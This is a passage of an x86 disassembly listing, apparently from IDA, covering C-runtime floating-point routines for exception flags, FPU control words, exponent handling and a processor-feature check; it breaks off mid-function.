		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------


loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------


loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx


loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2840000h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh


loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh


loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h


loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh


loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh


loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------


loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx


loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------


loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------


loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx


loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8D0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs


loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_43B8C0
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------


loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_43B8D0
		fchs


loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_43B8D0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------


loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_43B8C0
		fchs


loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8C0
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs


loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]


loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx


loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------


loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------


loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx


loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx


loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx


loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h


loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3


loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------


loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx


loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx


loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh


loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx


loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_48A014, 22h
		retn
; ---------------------------------------------------------------------------


loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_48A014, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B7E8


loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B8C0
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_43B7EC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3


loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B


loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4


loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------


loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E


loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax


loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1


loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h


loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------


loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_43B8E8
		fistp	[ebp+arg_0]
		wait


loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_43B8E8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_43B8F4
		fstp	[ebp+var_8]
		wait


loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2700B59h
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26D0588h
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF


loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_4397AC, 1
